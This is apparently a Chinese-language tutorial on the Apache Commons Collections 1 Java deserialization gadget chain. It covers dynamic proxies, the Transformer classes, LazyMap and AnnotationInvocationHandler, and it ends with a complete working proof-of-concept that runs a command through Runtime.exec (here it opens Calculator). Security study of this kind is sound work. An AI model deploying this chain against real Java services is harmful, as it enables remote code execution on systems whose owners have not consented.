CC1

java日你妈

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()Runtime.exec()

动态代理

CC1中运用到了这部分知识,简单做下介绍

举一个简单的例子,供货商发货给超市,我们去超市买东西。

此时超市就相当于一个代理,我们可以直接去供货商买东西,但一般不这样做。

Java中的代理模式也是一样,我们需要定义一个接口,这个接口不可以直接被实例化,需要通过类去实现这个接口,才可以实现对这个接口中方法的调用。

而动态代理实现了不需要中间商(类),直接“创建”某个接口的实例,对其方法进行调用。

当我们调用某个动态代理对象的方法时,都会触发代理类的invoke方法,并传递对应的内容

Sample:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Test {
public static void main(String[] args){
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};

Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler);
hello.morning("liming");
}
}

Hello.java

1
2
3
public interface Hello {
void morning(String name);
}

这里首先定义了一个handler,通过其实现对类接口的实现

接着定义了一个代理对象Hello,传递三个参数分别为ClassLoader、要代理的接口数组以及调用接口时触发的对应方法。

此时我调用hello.morning,就会触发handler的invoke方法,并传递三个参数进去,分别为proxy即代理对象,method即调用的方法的Method对象,args即传递的参数。

所有的handler都需要实现InvocationHandler这个接口,并实现其invoke方法来实现对接口的调用

利用链分析

先对后半段链进行分析。在commons collections中有一个Transformer接口,其中包含一个transform方法,通过实现此接口来达到类型转换的目的

图片

CC1中主要运用的是以下三个实现了这个借口的类

  • InvokerTransformer
    其transform方法实现了通过反射来调用某方法:

图片

  • ConstantTransformer
    其transform方法将输入原封不动的返回:

图片

  • ChainedTransformer
    其transform方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去:图片

以上三者结合起来就能实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class cc1 {

public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);
}
}

首先看下InvokerTransformer的transform方法

1
2
3
4
5
6
7
8
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

接收了一个对象,并接收该对象的方法,方法名,方法所需要的参数类型,以上三者我们都能进行控制,所以可以通过这里进行命令控制

1
2
3
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
invoketransformer.transform(runtime);

但是这里要注意Runtime类是没有继承序列化接口的,所以在反序列化后传递进去一个Runtime实例是会报错的,所以这里要使用反射来获取,于是就要想办法把Runtime.getRuntime()这一条件去掉,就到了ConstantTransformer这个类
上面说了,其transform方法是将输入的Object原封不动的返回回去,所以可以这样

1
2
3
Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
invoketransformer.transform(constantTransformer);

最终把上面两者搭配ChainedTransformer进行结合

1
2
3
4
5
6
7
8
public void test(){
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})

});
chain.transform(123);
}

此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现rce,但是当尝试去序列化的时候,发生了一个问题:
图片

因为这里的Runtime.getRuntime()返回的是一个Runtime的实例,而Runtime并没有继承Serializable,所以这里会序列化失败。

那么我们就需要找到一个方法来获取到Runtime.getRuntime()返回的结果,并将其传入invoketransformer的transform方法中。这就有了上边那条链。

这里通过InvokerTransformer来实现了一次反射,即通过反射来反射,先是调用getMethod方法获取了getRuntime这个Method对象,接着又通过Invoke获取getRuntime的执行结果

这里刚开始看Class[].class以及new Class[0]是不太理解的,去调用getMethod方法查看定义

图片

这里需要传入一个name也就是要调用的方法名,接着需要传递一个可变参数,所以这里的Class[].class,其实就是对应着这里的可变参数,即使我们不需要传递参数,也需要在这里加一个Class[].class,后边再加一个new Class[0]起到占位的作用

梳理下目前构造的链:

1
2
3
4
5
6
7
8
9
10
11
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);

目前构造到只需要反序列化后调用transform方法,并传递任意内容即可rce。我们的目的是在调用readObject的时候就触发rce,也就是说我们现在需要找到一个点调用了transform方法(如果能找到在readObject后就调用那是最好的),如果找不到在readObject里调用transform方法,那么就需要找到一条链,在readObject触发起点,接着一步步调用到了transform方法。

cc1里用的是Lazymap#get这个方法:

图片

如果这里的this.factory可控,那么我们就可以通过LazyMap来延长我们的链,下一步就是找哪里调用了get方法了

1
protected final Transformer factory;

这里的factory并没有被transient以及static关键字修饰,所以是我们可控的,并且由于factory是在类初始化时定义的,所以我们可以通过创建LazyMap实例的方式来设置他的值
图片

但是这里的构造方法并不是public的,所以需要通过反射的方式来获取到这个构造方法,再创建其实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
map.get(123);
}

接着我们需要找到某个地方调用了get方法,并且传递了任意值。通过学习了上边动态代理的知识,我们可以开始分析cc1的前半段链了

入口时AnnotationInvocationHandler的readObject:

图片

这里的readObject又调用了this.memberValues的entrySet方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);

这里对this.memberValues调用了get方法,如果此时this.memberValues为我们的map,那么就会触发LazyMap#get,从而完成触发rce
完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;



import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);



Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象



Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
}

分析一下利用过程:
在readObject时,会触发AnnotationInvocationHandler#readObject方法

图片

此时调用了this.memberValues.entrySet,而this.memberValues是之前构造好的proxy_map,由于这是一个代理对象,所以调用其方法时,会去调用其创建代理时设置的handler的invoke方法

图片

这个proxy_map设置的handler为这个map_handler,同样是InvocationHandler这个类,接着会调用他的invoke方法:

图片

InvocationHandler#invoke的78行代码中调用了this.memberValues#get,此时的this.memberValues为之前设置好的lazymap,所以这里调用的是lazymap#get,从而触发后边的rce链

这里还是比较绕的,因为设置了两个handler,但是第一个handler是为了触发lazymap#get,而第二个handler实际上只是为了触发代理类所设置handler的invoke方法。

接着解释一些细节的问题:

1.为什么这里要用反射的方式来创建AnnotationInvocationHandler的实例?

因为AnnotationInvocationHandler并不是public类,所以无法直接通过new的方式来创建其实例

图片

2.为什么创建其实例时传入的第一个参数是Override.class?

因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类

图片

1
2
3
public boolean isAnnotation() {
return (getModifiers() & ANNOTATION) != 0;
}

而Override.class正是java自带的一个注解类,换成其他注解类也行不过推荐是java自带的。

PS

创建lazymap那里其实并不需要用到反射,因为lazymap自带了一个方法来帮助我们创建其实例

图片

所以把上述通过反射来创建LazyMap的实例代码改为如下,也是可以成功的

1
2
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

p神就是用的该方法进行创建LazyMap实例